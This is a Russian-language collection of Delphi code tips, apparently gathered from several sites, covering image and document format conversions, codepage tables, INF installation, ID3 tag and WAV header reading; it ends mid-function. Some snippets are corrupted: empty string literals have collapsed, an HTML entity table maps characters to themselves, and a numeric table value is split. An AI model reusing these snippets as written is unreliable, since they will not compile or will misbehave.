  Bitmap: TBitmap;
begin
  Bitmap := TBitmap.Create;
  Bitmap.Width := 32;
  Bitmap.Height := 32;
  hCursor := LoadCursorFromFile('test.cur');
  DrawIcon(Bitmap.Canvas.Handle, 0, 0, hCursor);
  Bitmap.SaveToFile('test.bmp');
  Bitmap.Free;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


ICO ---> BMP

Var
Icon   : TIcon;
Bitmap : TBitmap;
begin
  Icon   := TIcon.Create;
  Bitmap := TBitmap.Create;
  Icon.LoadFromFile('c:\picture.ico');
  Bitmap.Width := Icon.Width;
  Bitmap.Height := Icon.Height;
  Bitmap.Canvas.Draw(0, 0, Icon);
  Bitmap.SaveToFile('c:\picture.bmp');
  Icon.Free;
  Bitmap.Free;
end;

Взято с сайта http://blackman.wp-club.net/

procedure TIconShow.FileListBox1Click(Sender: TObject);
var

  MyIcon: TIcon;
  MyBitMap: TBitmap;
begin

  MyIcon := TIcon.Create;
  MyBitMap := TBitmap.Create;

  try
    { получаем имя файла и связанную с ним иконку}
    strFileName := FileListBox1.Items[FileListBox1.ItemIndex];
    StrPCopy(cStrFileName, strFileName);
    MyIcon.Handle := ExtractIcon(hInstance, cStrFileName, 0);

    { рисуем иконку на bitmap в speedbutton }
    SpeedButton1.Glyph := MyBitMap;
    SpeedButton1.Glyph.Width := MyIcon.Width;
    SpeedButton1.Glyph.Height := MyIcon.Height;
    SpeedButton1.Glyph.Canvas.Draw(0, 0, MyIcon);

    SpeedButton1.Hint := strFileName;

  finally
    MyIcon.Free;
    MyBitMap.Free;
  end;
end;

Чтобы преобразовать Icon в Bitmap используйте TImageList. для обратного преобразования замените метод AddIcon на Add, и метод GetBitmap на GetIcon.

function Icon2Bitmap(Icon: TIcon): TBitmap;
begin
  with TImageList.Create (nil) do
  begin
    AddIcon (Icon);
    Result := TBitmap.Create;
    GetBitmap (0, Result);
    Free;
  end;
end;

Взято с http://delphiworld.narod.ru


JPG ---> BMP

uses
  JPEG;

procedure JPEGtoBMP(const FileName: TFileName);
var
  jpeg: TJPEGImage;
  bmp:  TBitmap;
begin
  jpeg := TJPEGImage.Create;
  try
    jpeg.CompressionQuality := 100; {Default Value}
    jpeg.LoadFromFile(FileName);
    bmp := TBitmap.Create;
    try
      bmp.Assign(jpeg);
      bmp.SaveTofile(ChangeFileExt(FileName, '.bmp'));
    finally
      bmp.Free
    end;
  finally
    jpeg.Free
  end;
end;

{
  CompressionQuality (default 100):
  Set a value between 1..100, depending on your need of quality and
  image file size. 1 = Smallest file size, 100 = Best quality.
}
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


TIF ---> PDF

Автор: Morten Ravn-Jonsen

Совместимость: Delphi 5.x (или выше)

Как-то раз получился TIF файл на несколько страниц и возникла необходимость конвертации его в PDF формат. Для использования такой возможности необходимо иметь полную версию Adobe Acrobat. Функция тестировалась на Adobe Acrobat 4.0.

Сперва Вам необходимо импортировать элементы управления Acrobat AxtiveX.

1) Выберите Component -> Import ActiveX Control
2) Выберите Acrobat Control for ActiveX и нажмите install
3) Выберите пакет ActiveX control для инсталяции
4) Добавьте PDFlib_tlb в Ваш проект. Этот файл находится в директории Borland\Delphi5\Imports.

Как использовать функцию

Вот пример её вызова:

if not TifToPDF('c:\test.tif', 'c:\test.pdf') then Showmessage('Could not convert');

Функция TifToPdf

function TifToPDF(TIFFilename, PDFFilename: string): boolean;
var
  AcroApp : variant;
  AVDoc : variant;
  PDDoc : variant;
  IsSuccess : Boolean;
begin
  result := false;
  if not fileexists(TIFFilename) then exit;

  try
    AcroApp := CreateOleObject('AcroExch.App');
    AVDoc := CreateOleObject('AcroExch.AVDoc');

    AVDoc.Open(TIFFilename, '');
    AVDoc := AcroApp.GetActiveDoc;

    if AVDoc.IsValid then
    begin
      PDDoc := AVDoc.GetPDDoc;

      PDDoc.SetInfo ('Title', '');
      PDDoc.SetInfo ('Author', '');
      PDDoc.SetInfo ('Subject', '');
      PDDoc.SetInfo ('Keywords', '');

      result := PDDoc.Save(1 or 4 or 32, PDFFilename);

      PDDoc.Close;
    end;

    AVDoc.Close(True);
    AcroApp.Exit;

  finally
    VarClear(PDDoc);
    VarClear(AVDoc);
    VarClear(AcroApp);
  end;
end;

Взято из http://forum.sources.ru


TXT ---> GIF

procedure TxtToGif(txt, FileName: string);
var
  temp: TBitmap;
  GIF: TGIFImage;
begin

  temp := TBitmap.Create;
  try
    temp.Height := 400;
    temp.Width := 60;
    temp.Transparent := True;
    temp.Canvas.Brush.Color := colFondo.ColorValue;
    temp.Canvas.Font.Name := Fuente.FontName;
    temp.Canvas.Font.Color := colFuente.ColorValue;
    temp.Canvas.TextOut(10, 10, txt);
    Imagen.Picture.Assign(nil);

    GIF := TGIFImage.Create;
    try
      // Convert the bitmap to a GIF
      GIF.Assign(Temp);
      // Save the GIF
      GIF.SaveToFile(FileName);
      // Display the GIF
      Imagen.Picture.Assign(GIF);
    finally
      GIF.Free;
    end;

  finally

    temp.Destroy;
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


WMF ---> BMP

procedure ConvertWMF2BMP
(const WMFFileName, BMPFileName: TFileName);
var
  MetaFile : TMetafile;
  Bitmap : TBitmap;
begin
  Metafile := TMetaFile.Create;
  Bitmap := TBitmap.Create;
  try
    MetaFile.LoadFromFile(WMFFileName);
    with Bitmap do
    begin
      Height := Metafile.Height;
      Width  := Metafile.Width;
      Canvas.Draw(0, 0, MetaFile);
      SaveToFile(BMPFileName);
    end;
  finally
      Bitmap.Free;
    MetaFile.Free;
  end;
end;

Использование:

ConvertWMF2BMP('c:\mypic.wmf','c:\mypic.bmp')

Взято из http://forum.sources.ru


RTF-->HTML

Приведу программу, которую я использую для преобразования содержимого RichEdit в SGML-код. Она не формирует полный HTML-аналог, но вы сами можете добавить необходимый RTF-код и его интерпретацию в HTML-тэги.

Код содержит интуитивно понятные комментарии и строки на шведском языке, нецелесообразные для перевода.

function rtf2sgml(text: string): string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
  temptext: string;
  start: integer;
begin
  text := stringreplaceall(text, '&', '##amp;');
  text := stringreplaceall(text, '##amp', '&amp');
  text := stringreplaceall(text, '\' + chr(39) + 'e5', '&aring;');
  text := stringreplaceall(text, '\' + chr(39) + 'c5', '&Aring;');
  text := stringreplaceall(text, '\' + chr(39) + 'e4', '&auml;');
  text := stringreplaceall(text, '\' + chr(39) + 'c4', '&Auml;');
  text := stringreplaceall(text, '\' + chr(39) + 'f6', '&ouml;');
  text := stringreplaceall(text, '\' + chr(39) + 'd6', '&Ouml;');
  text := stringreplaceall(text, '\' + chr(39) + 'e9', '&eacute;');
  text := stringreplaceall(text, '\' + chr(39) + 'c9', '&Eacute;');
  text := stringreplaceall(text, '\' + chr(39) + 'e1', '&aacute;');
  text := stringreplaceall(text, '\' + chr(39) + 'c1', '&Aacute;');
  text := stringreplaceall(text, '\' + chr(39) + 'e0', '&agrave;');
  text := stringreplaceall(text, '\' + chr(39) + 'c0', '&Agrave;');
  text := stringreplaceall(text, '\' + chr(39) + 'f2', '&ograve;');
  text := stringreplaceall(text, '\' + chr(39) + 'd2', '&Ograve;');
  text := stringreplaceall(text, '\' + chr(39) + 'fc', '&uuml;');
  text := stringreplaceall(text, '\' + chr(39) + 'dc', '&Uuml;');
  text := stringreplaceall(text, '\' + chr(39) + 'a3', '&#163;');
  text := stringreplaceall(text, '\}', '#]#');
  text := stringreplaceall(text, '\{', '#[#');
  text := stringreplaceall(text, '{\rtf1\ansi\deff0\deftab720', ''); {Skall alltid tas bort}
  text := stringreplaceall(text, '{\fonttbl', ''); {Skall alltid tas bort}
  text := stringreplaceall(text, '{\f0\fnil MS Sans Serif;}', ''); {Skall alltid tas bort}
  text := stringreplaceall(text, '{\f1\fnil\fcharset2 Symbol;}', ''); {Skall alltid tas bort}
  text := stringreplaceall(text, '{\f2\fswiss\fprq2 System;}}', ''); {Skall alltid tas bort}
  text := stringreplaceall(text, '{\colortbl\red0\green0\blue0;}', ''); {Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
  text := stringreplaceall(text, '\cf0', '');
  temptext := hamtastreng(text, '\deflang', '\pard'); {Plocka fran deflang till pard for att fa }
  text := stringreplace(text, temptext, ''); {oavsett vilken lang det ar. Norska o svenska ar olika}
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
  while pos('\fs', text) > 0 do

    begin
      application.processmessages;
      start := pos('\fs', text);
      Delete(text, start, 5);
    end;
  text := stringreplaceall(text, '\pard\plain\f0 ', '<P>');
  text := stringreplaceall(text, '\par \plain\f0\b\ul ', '</P><MELLIS>');
  text := stringreplaceall(text, '\plain\f0\b\ul ', '</P><MELLIS>');
  text := stringreplaceall(text, '\plain\f0', '</MELLIS>');
  text := stringreplaceall(text, '\par }', '</P>');
  text := stringreplaceall(text, '\par ', '</P><P>');
  text := stringreplaceall(text, '#]#', '}');
  text := stringreplaceall(text, '#[#', '{');
  text := stringreplaceall(text, '\\', '\');
  result := text;
end;

//Нижеприведенный кусок кода вырезан из довольно большой программы, вызывающей вышеприведенную функцию.
//Я знаю что мог бы использовать потоки вместо использования отдельного файла, но у меня не было времени для реализации этого

utfilnamn := mditted.exepath + stringreplace(stringreplace(extractfilename(pathname), '.TTT', ''), '.ttt', '') + 'ut.RTF';
brodtext.lines.savetofile(utfilnamn);
temptext := '';
assignfile(tempF, utfilnamn);
reset(tempF);
try
  while not eof(tempF) do
    begin
      readln(tempF, temptext2);
      temptext2 := stringreplaceall(temptext2, '\' + chr(39) + 'b6', '');
      temptext2 := rtf2sgml(temptext2);
      if temptext2 <> '' then temptext := temptext + temptext2;
      application.processmessages;
    end;
finally
  closefile(tempF);
end;
deletefile(utfilnamn);
temptext := stringreplaceall(temptext, '</MELLIS> ', '</MELLIS>');
temptext := stringreplaceall(temptext, '</P> ', '</P>');
temptext := stringreplaceall(temptext, '</P>' + chr(0), '</P>');
temptext := stringreplaceall(temptext, '</MELLIS></P>', '</MELLIS>');
temptext := stringreplaceall(temptext, '<P></P>', '');
temptext := stringreplaceall(temptext, '</P><P></MELLIS>', '</MELLIS><P>');
temptext := stringreplaceall(temptext, '</MELLIS>', '<#MELLIS><P>');
temptext := stringreplaceall(temptext, '<#MELLIS>', '</MELLIS>');
temptext := stringreplaceall(temptext, '<P><P>', '<P>');
temptext := stringreplaceall(temptext, '<P> ', '<P>');
temptext := stringreplaceall(temptext, '<P>-', '<P>_');
temptext := stringreplaceall(temptext, '<P>_', '<CITAT>_');
while pos('<CITAT>_', temptext) > 0 do
  begin
    application.processmessages;
    temptext2 := hamtastreng(temptext, '<CITAT>_', '</P>');
    temptext := stringreplace(temptext, temptext2 + '</P>', temptext2 + '</CITAT>');
    temptext := stringreplace(temptext, '<CITAT>_', '<CITAT>-');
  end;
writeln(F, '<BRODTEXT>' + temptext + '</BRODTEXT>');
Взято из Советов по Delphi от Валентина Озерова
Сборник Kuliba


HTML --> RTF

{ HTML to RTF by Falk Schulze }

procedure HTMLtoRTF(html: string; var rtf: TRichedit);
var
  i, dummy, row: Integer;
  cfont: TFont;
  Tag, tagparams: string;
  params: TStringList;

  function GetTag(s: string; var i: Integer; var Tag, tagparams: string): Boolean;
  var
    a_tag: Boolean;
  begin
    GetTag  := False;
    Tag  := '';
    tagparams := '';
    a_tag  := False;

    while i <= Length(s) do
    begin
      Inc(i);
      if s[i] = '<' then
      begin
        GetTag := False;
        Exit;
      end;

      if s[i] = '>' then
      begin
        GetTag := True;
        Exit;
      end;

      if not a_tag then
      begin
        if s[i] = ' ' then
        begin
          if Tag <> '' then a_tag := True;
        end
        else
          Tag := Tag + s[i];
      end
      else
        tagparams := tagparams + s[i];
    end;
  end;

  procedure GetTagParams(tagparams: string; var params: TStringList);
  var
    i: Integer;
    s: string;
    gleich: Boolean;
    function notGleich(s: string; i: Integer): Boolean;
    begin
      notGleich := True;
      while i <= Length(s) do
      begin
        Inc(i);
        if s[i] = '=' then
        begin
          notGleich := False;
          Exit;
        end
        else if s[i] <> ' ' then Exit;
      end;
    end;
  begin
    Params.Clear;
    s := '';
    for i := 1 to Length(tagparams) do
    begin
      if (tagparams[i] <> ' ') then
      begin
        if tagparams[i] <> '=' then gleich := False;
        if (tagparams[i] <> '''') and (tagparams[i] <> '"') then s := s + tagparams[i]
      end
      else
      begin
        if (notGleich(tagparams, i)) and (not Gleich) then
        begin
          params.Add(s);
          s := '';
        end
        else
          Gleich := True;
      end;
    end;
    params.Add(s);
  end;

  function HtmlToColor(Color: string): TColor;
  begin
    Result := StringToColor('$' + Copy(Color, 6, 2) + Copy(Color, 4,
      2) + Copy(Color, 2, 2));
  end;

  procedure TransformSpecialChars(var s: string; i: Integer);
  var
    c: string;
    z, z2: Byte;
    i2: Integer;
  const
    nchars = 9;
    chars: array[1..nchars, 1..2] of string =
      (('O', 'O'), ('o', 'o'), ('A', 'A'), ('a', 'a'),
      ('U', 'U'), ('u', 'u'), ('?', '?'), ('<', '<'),
      ('>', '>'));
  begin
    c  := '';
    i2 := i;
    for z := 1 to 7 do
    begin
      c := c + s[i2];
      for z2 := 1 to nchars do
      begin
        if chars[z2, 1] = c then
        begin
          Delete(s, i, Length(c));
          Insert(chars[z2, 2], s, i);
          Exit;
        end;
      end;
      Inc(i2);
    end;
  end;
  function CalculateRTFSize(pt: Integer): Integer;
  begin
    case pt of
      1: Result := 6;
      2: Result := 9;
      3: Result := 12;
      4: Result := 15;
      5: Result := 18;
      6: Result := 22;
      else
        Result := 30;
    end;
  end;

type
  fontstack = record
    Font: array[1..100] of tfont;
    Pos: Byte;
  end;

  procedure CreateFontStack(var s: fontstack);
  begin
    s.Pos := 0;
  end;

  procedure PushFontStack(var s: Fontstack; fnt: TFont);
  begin
    Inc(s.Pos);
    s.Font[s.Pos] := TFont.Create;
    s.Font[s.Pos].Assign(fnt);
  end;

  procedure PopFontStack(var s: Fontstack; var fnt: TFont);
  begin
    if (s.Font[s.Pos] <> nil) and (s.Pos > 0) then
    begin
      fnt.Assign(s.Font[s.Pos]);
      s.Font[s.Pos].Free;
      Dec(s.Pos);
    end;
  end;

  procedure FreeFontStack(var s: Fontstack);
  begin
    while s.Pos > 0 do
    begin
      s.Font[s.Pos].Free;
      Dec(s.Pos);
    end;
  end;
var
  fo_cnt: array[1..1000] of tfont;
  fo_liste: array[1..1000] of Boolean;
  fo_pos: TStringList;
  fo_stk: FontStack;
  wordwrap, liste: Boolean;
begin
  CreateFontStack(fo_Stk);

  fo_Pos := TStringList.Create;

  rtf.Lines.BeginUpdate;
  rtf.Lines.Clear;
  wordwrap  := rtf.wordwrap;
  rtf.WordWrap := False;

  rtf.Lines.Add('');
  Params := TStringList.Create;

  cfont := TFont.Create;
  cfont.Assign(rtf.Font);

  i := 1;
  row := 0;
  Liste := False;
  rtf.selstart := 0;
  if Length(html) = 0 then Exit;
  repeat;

    if html[i] = '<' then
    begin
      dummy := i;
      GetTag(html, i, Tag, tagparams);
      GetTagParams(tagparams, params);

      if Uppercase(Tag) = 'FONT' then
      begin
        pushFontstack(fo_stk, cfont);
        if params.Values['size'] <> '' then
          cfont.Size := CalculateRTFSize(StrToInt(params.Values['size']));

        if params.Values['color'] <> '' then cfont.Color :=
            htmltocolor(params.Values['color']);
      end
      else if Uppercase(Tag) = '/FONT' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H1' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 6;
      end
      else if Uppercase(Tag) = '/H1' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H2' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 9;
      end
      else if Uppercase(Tag) = '/H2' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H3' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 12;
      end
      else if Uppercase(Tag) = '/H3' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H4' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 15;
      end
      else if Uppercase(Tag) = '/H4' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H5' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 18;
      end
      else if Uppercase(Tag) = '/H5' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H6' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 22;
      end
      else if Uppercase(Tag) = '/H6' then  popFontstack(fo_stk, cfont)
      else
      if Uppercase(Tag) = 'H7' then
      begin
        pushFontstack(fo_stk, cfont);
        cfont.Size := 27;
      end
      else if Uppercase(Tag) = '/H7' then  popFontstack(fo_stk, cfont)
      else

      if Uppercase(Tag) = 'B' then cfont.Style := cfont.Style + [fsbold]
      else if Uppercase(Tag) = '/B' then cfont.Style := cfont.Style - [fsbold]
      else

      if Uppercase(Tag) = 'I' then cfont.Style := cfont.Style + [fsitalic]
      else if Uppercase(Tag) = '/I' then cfont.Style := cfont.Style - [fsitalic]
      else

      if Uppercase(Tag) = 'U' then cfont.Style := cfont.Style + [fsunderline]
      else if Uppercase(Tag) = '/U' then cfont.Style := cfont.Style - [fsunderline]
      else

      if Uppercase(Tag) = 'UL' then liste := True
      else if Uppercase(Tag) = '/UL' then
      begin
        liste := False;
        rtf.Lines.Add('');
        Inc(row);
        rtf.Lines.Add('');
        Inc(row);
      end
      else

      if (Uppercase(Tag) = 'BR') or (Uppercase(Tag) = 'LI') then
      begin
        rtf.Lines.Add('');
        Inc(row);
      end;
      // else rtf.Lines[row]:=RTF.lines[row]+'<'+tag+' '+tagparams+'>';
      fo_pos.Add(IntToStr(rtf.selstart));
      fo_cnt[fo_pos.Count] := TFont.Create;
      fo_cnt[fo_pos.Count].Assign(cfont);
      fo_liste[fo_pos.Count] := liste;
    end
    else
    begin
      if html[i] = '&' then Transformspecialchars(html, i);

      if (Ord(html[i]) <> 13) and (Ord(html[i]) <> 10) then
        rtf.Lines[row] := RTF.Lines[row] + html[i];
    end;

    Inc(i);

  until i >= Length(html);
  fo_pos.Add('999999');

  for i := 0 to fo_pos.Count - 2 do
  begin
    rtf.SelStart := StrToInt(fo_pos[i]);
    rtf.SelLength := StrToInt(fo_pos[i + 1]) - rtf.SelStart;
    rtf.SelAttributes.Style := fo_cnt[i + 1].Style;
    rtf.SelAttributes.Size := fo_cnt[i + 1].Size;
    rtf.SelAttributes.Color := fo_cnt[i + 1].Color;
    fo_cnt[i + 1].Free;
  end;

  i := 0;
  while i <= fo_pos.Count - 2 do
  begin
    if fo_liste[i + 1] then
    begin
      rtf.SelStart := StrToInt(fo_pos[i + 1]);
      while fo_liste[i + 1] do Inc(i);
      rtf.SelLength := StrToInt(fo_pos[i - 1]) - rtf.SelStart;
      rtf.Paragraph.Numbering := nsBullet;
    end;
    Inc(i);
  end;
  rtf.Lines.EndUpdate;
  Params.Free;
  cfont.Free;
  rtf.WordWrap := wordwrap;
  FreeFontStack(fo_stk);
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


DFM -->TXT, TXT --> DFM

Use the Convert.exe file found in the Delphi\C++ Builder
bin directory.

Example:

C:\Delphi\convert enum.dfm enum.txt
C:\Delphi\convert enum.txt enum.dfm


Win1251 <-> Koi8r

type  TConvertChars = array[#128..#255] of char;

const  Win_KoiChars: TConvertChars = (#128,#129,#130,#131,#132,#133,#134,#135,#136,#137,#060,#139,#140,#141,#142,#143,#144,#145,#146,#147,#148,#169,#150,#151,#152,#153,#154,#062,#176,#157,#183,#159,#160,#246,#247,#074,#164,#231,#166,#167,#179,#169,#180,#060,#172,#173,#174,#183,#156,#177,#073,#105,#199,#181,#182,#158,#163,#191,#164,#062,#106,#189,#190,#167,#225,#226,#247,#231,#228,#229,#246,#250,#233,#234,#235,#236,#237,#238,#239,#240,#242,#243,#244,#245,#230,#232,#227,#254,#251,#253,#154,#249,#248,#252,#224,#241,#193,#194,#215,#199,#196,#197,#214,#218,#201,#202,#203,#204,#205,#206,#207,#208,#210,#211,#212,#213,#198,#200,#195,#222,#219,#221,#223,#217,#216,#220,#192,#209);

Koi_WinChars: TConvertChars = (#128,#129,#130,#131,#132,#133,#134,#135,#136,#137,#138,#139,#140,#141,#142,#143,#144,#145,#146,#147,#148,#149,#150,#151,#152,#153,#218,#155,#17
 6,#157,#183,#159,#160,#161,#162,#184,#186,#165,#166,#191,#168,#169,#170,#171,#172,#173,#174,#175,#156,#177,#178,#168,#170,#181,#182,#175,#184,#185,#186,#187,#188,#189,#190,#185,#254,#224,#225,#246,#228,#229,#244,#227,#245,#232,#233,#234,#235,#236,#237,#238,#239,#255,#240,#241,#242,#243,#230,#226,#252,#251,#231,#248,#253,#249,#247,#250,#222,#192,#193,#214,#196,#197,#212,#195,#213,#200,#201,#202,#203,#204,#205,#206,#207,#223,#208,#209,#210,#211,#198,#194,#220,#219,#199,#216,#221,#217,#215,#218);

function Win_KoiConvert(const St: string): string;
var i: integer;
begin
 Result:=St;
 for i:=1 to Length(St) do
  if St[i]>#127 then Result[i]:=Win_KoiChars[St[i]];
end;

Автор: Song

Взято из http://forum.sources.ru


Как инсталлировать INF файл?

uses
  ShellAPI;

function InstallINF(const PathName: string; hParent: HWND): Boolean;
var
  instance: HINST;
begin
  instance := ShellExecute(hParent,
    PChar('open'),
    PChar('rundll32.exe'),
    PChar('setupapi,InstallHinfSection DefaultInstall 132 ' + PathName),
    nil,
    SW_HIDE);

  Result := instance > 32;
end; { InstallINF }

// Example:

procedure TForm1.Button1Click(Sender: TObject);
begin
  InstallINF('C:\XYZ.inf', 0);
end;
Взято с сайтаhttp://www.swissdelphicenter.ch/en/tipsindex.php


Как конвертировать WideString в String?

{:Converts Unicode string to Ansi string using specified code page.
  @param   ws       Unicode string.
  @param   codePage Code page to be used in conversion.
  @returns Converted ansi string.
}

function WideStringToString(const ws: WideString; codePage: Word): AnsiString;
var
  l: integer;
begin
  if ws = ' then
    Result := '
  else
  begin
    l := WideCharToMultiByte(codePage,
      WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
      @ws[1], - 1, nil, 0, nil, nil);
    SetLength(Result, l - 1);
    if l > 1 then
      WideCharToMultiByte(codePage,
        WC_COMPOSITECHECK or WC_DISCARDNS or WC_SEPCHARS or WC_DEFAULTCHAR,
        @ws[1], - 1, @Result[1], l - 1, nil, nil);
  end;
end; { WideStringToString }

{:Converts Ansi string to Unicode string using specified code page.
  @param   s        Ansi string.
  @param   codePage Code page to be used in conversion.
  @returns Converted wide string.
}
function StringToWideString(const s: AnsiString; codePage: Word): WideString;
var
  l: integer;
begin
  if s = ' then
    Result := '
  else
  begin
    l := MultiByteToWideChar(codePage, MB_PRECOMPOSED, PChar(@s[1]), - 1, nil, 0);
    SetLength(Result, l - 1);
    if l > 1 then
      MultiByteToWideChar(CodePage, MB_PRECOMPOSED, PChar(@s[1]),
        - 1, PWideChar(@Result[1]), l - 1);
  end;
end; { StringToWideString }
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как определить графический формат файла (не используя расширение)?

You can determine it without extention. Below is a function that reads the file header and determines the type.

function PhysicalResolveFileType(AStream: TStream): Integer;
var
  p: PChar;
begin
  Result := 0;
  if not Assigned(AStream) then
    Exit;
  GetMem(p, 10);
  try
    AStream.Position := 0;
    AStream.Read(p[0], 10);
    {bitmap format}
    if (p[0] = #66) and (p[1] = #77) then
      Result := 1;
    {tiff format}
    if ((p[0] = #73) and (p[1] = #73) and (p[2] = #42) and (p[3] = #0)) or
      ((p[0] = #77) and (p[1] = #77) and (p[2] = #42) and (p[3] = #0)) then
      Result := 2;
    {jpg format}
    if (p[6] = #74) and (p[7] = #70) and (p[8] = #73) and (p[9] = #70) then
      Result := 3;
    {png format}
    if (p[0] = #137) and (p[1] = #80) and (p[2] = #78) and (p[3] = #71) and
      (p[4] = #13) and (p[5] = #10) and (p[6] = #26) and (p[7] = #10) then
      Result := 4;
    {dcx format}
    if (p[0] = #177) and (p[1] = #104) and (p[2] = #222) and (p[3] = #58) then
      Result := 5;
    {pcx format}
    if p[0] = #10 then
      Result := 6;
    {emf format}
    if (p[0] = #215) and (p[1] = #205) and (p[2] = #198) and (p[3] = #154) then
      Result := 7;
    {emf format}
    if (p[0] = #1) and (p[1] = #0) and (p[2] = #0) and (p[3] = #0) then
      Result := 7;
  finally
    Freemem(p);
  end;
end;
Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как прочитать MP3 ID3-Tag?

{
  Byte 1-3 = ID 'TAG'
  Byte 4-33 = Titel / Title
  Byte 34-63 = Artist
  Byte 64-93 = Album
  Byte 94-97 = Jahr / Year
  Byte 98-127 = Kommentar / Comment
  Byte 128 = Genre
}

type
  TID3Tag = record
    ID: string[3];
    Titel: string[30];
    Artist: string[30];
    Album: string[30];
    Year: string[4];
    Comment: string[30];
    Genre: Byte;
  end;

const
 Genres : array[0..146] of string =
    ('Blues','Classic Rock','Country','Dance','Disco','Funk','Grunge',
    'Hip- Hop','Jazz','Metal','New Age','Oldies','Other','Pop','R&B',
    'Rap','Reggae','Rock','Techno','Industrial','Alternative','Ska',
    'Death Metal','Pranks','Soundtrack','Euro-Techno','Ambient',
    'Trip-Hop','Vocal','Jazz+Funk','Fusion','Trance','Classical',
    'Instrumental','Acid','House','Game','Sound Clip','Gospel','Noise',
    'Alternative Rock','Bass','Punk','Space','Meditative','Instrumental Pop',
    'Instrumental Rock','Ethnic','Gothic','Darkwave','Techno-Industrial','Electronic',
    'Pop-Folk','Eurodance','Dream','Southern Rock','Comedy','Cult','Gangsta',
    'Top 40','Christian Rap','Pop/Funk','Jungle','Native US','Cabaret','New Wave',
    'Psychadelic','Rave','Showtunes','Trailer','Lo-Fi','Tribal','Acid Punk',
    'Acid Jazz','Polka','Retro','Musical','Rock & Roll','Hard Rock','Folk',
    'Folk-Rock','National Folk','Swing','Fast Fusion','Bebob','Latin','Revival',
    'Celtic','Bluegrass','Avantgarde','Gothic Rock','Progressive Rock',
    'Psychedelic Rock','Symphonic Rock','Slow Rock','Big Band','Chorus',
    'Easy Listening','Acoustic','Humour','Speech','Chanson','Opera',
    'Chamber Music','Sonata','Symphony','Booty Bass','Primus','Porn Groove',
    'Satire','Slow Jam','Club','Tango','Samba','Folklore','Ballad',
    'Power Ballad','Rhytmic Soul','Freestyle','Duet','Punk Rock','Drum Solo',
    'Acapella','Euro-House','Dance Hall','Goa','Drum & Bass','Club-House',
    'Hardcore','Terror','Indie','BritPop','Negerpunk','Polsk Punk','Beat',
    'Christian Gangsta','Heavy Metal','Black Metal','Crossover','Contemporary C',
    'Christian Rock','Merengue','Salsa','Thrash Metal','Anime','JPop','SynthPop');

var
  Form1: TForm1;

implementation

{$R *.dfm}

function readID3Tag(FileName: string): TID3Tag;
var
  FS: TFileStream;
  Buffer: array [1..128] of Char;
begin
  FS := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
  try
    FS.Seek(-128, soFromEnd);
    FS.Read(Buffer, 128);
    with Result do
    begin
      ID := Copy(Buffer, 1, 3);
      Titel := Copy(Buffer, 4, 30);
      Artist := Copy(Buffer, 34, 30);
      Album := Copy(Buffer, 64, 30);
      Year := Copy(Buffer, 94, 4);
      Comment := Copy(Buffer, 98, 30);
      Genre := Ord(Buffer[128]);
    end;
  finally
    FS.Free;
  end;
end;

procedure TfrmMain.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    with readID3Tag(OpenDialog1.FileName) do
    begin
      LlbID.Caption := 'ID: ' + ID;
      LlbTitel.Caption := 'Titel: ' + Titel;
      LlbArtist.Caption := 'Artist: ' + Artist;
      LlbAlbum.Caption := 'Album: ' + Album;
      LlbYear.Caption := 'Year: ' + Year;
      LlbComment.Caption := 'Comment: ' + Comment;
      if (Genre >= 0) and (Genre <=146) then
       LlbGenre.Caption := 'Genre: ' + Genres[Genre]
      else
       LlbGenre.Caption := 'N/A';
    end;
  end;
end;
Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как прочитать заголовок wav файла?

type
  TWaveHeader = record
    ident1: array[0..3] of Char;      // Must be "RIFF"
    len: DWORD;                       // Remaining length after this header
    ident2: array[0..3] of Char;      // Must be "WAVE"
    ident3: array[0..3] of Char;      // Must be "fmt "
    reserv: DWORD;                    // Reserved 4 bytes
    wFormatTag: Word;                 // format type
    nChannels: Word;                  // number of channels (i.e. mono, stereo, etc.)
    nSamplesPerSec: DWORD;            //sample rate
    nAvgBytesPerSec: DWORD;           //for buffer estimation
    nBlockAlign: Word;                //block size of data
    wBitsPerSample: Word;             //number of bits per sample of mono data
    cbSize: Word;                     //the count in bytes of the size of
    ident4: array[0..3] of Char;      //Must be "data"
end;

With this structure you can get all the information's about a wave file you want to.
After this header following the wave data which contains the data for playing the wave file.

Now we trying to get the information's from a wave file. To be sure it's really a wave file, we test the information's:

function GetWaveHeader(FileName: TFilename): TWaveHeader;
const
  riff = 'RIFF';
  wave = 'WAVE';
var
  f: TFileStream;
  w: TWaveHeader;
begin
  if not FileExists(Filename) then
    exit; //exit the function if the file does not exists

  try
    f := TFileStream.create(Filename, fmOpenRead);
    f.Read(w, Sizeof(w)); //Reading the file header

    if w.ident1 <> riff then
